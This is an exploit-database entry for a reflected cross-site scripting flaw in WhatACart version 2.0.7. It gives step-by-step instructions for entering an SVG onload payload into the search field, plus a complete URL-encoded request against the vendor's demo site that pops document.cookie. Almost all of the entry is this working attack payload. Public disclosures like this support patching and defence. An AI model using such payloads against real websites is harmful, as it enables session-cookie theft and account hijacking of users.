Headline
WhatACart 2.0.7 Cross Site Scripting
WhatACart version 2.0.7 suffers from a cross site scripting vulnerability.
Change Mirror Download
# Exploit Title: WhatACart Version: 2.0.7 - Reflected XSS# Date: 2023-12-27# Exploit Author: tmrswrr# Category : Webapps# Vendor Homepage: https://whatacart.com# Version: 2.0.7# Tested on: https://whatacart.com/demo1 ) Go to this page : https://demo.whatacart.com/2 ) Write search field this payload : <sVg/onLy=1 onLoaD=confirm(1)//3 ) You will bee alert button : https://demo.whatacart.com/site/default/search?keyword=%3CsVg%2FonLy%3D1+onLoaD%3Dconfirm(document.cookie)%2F%2F&navsearch=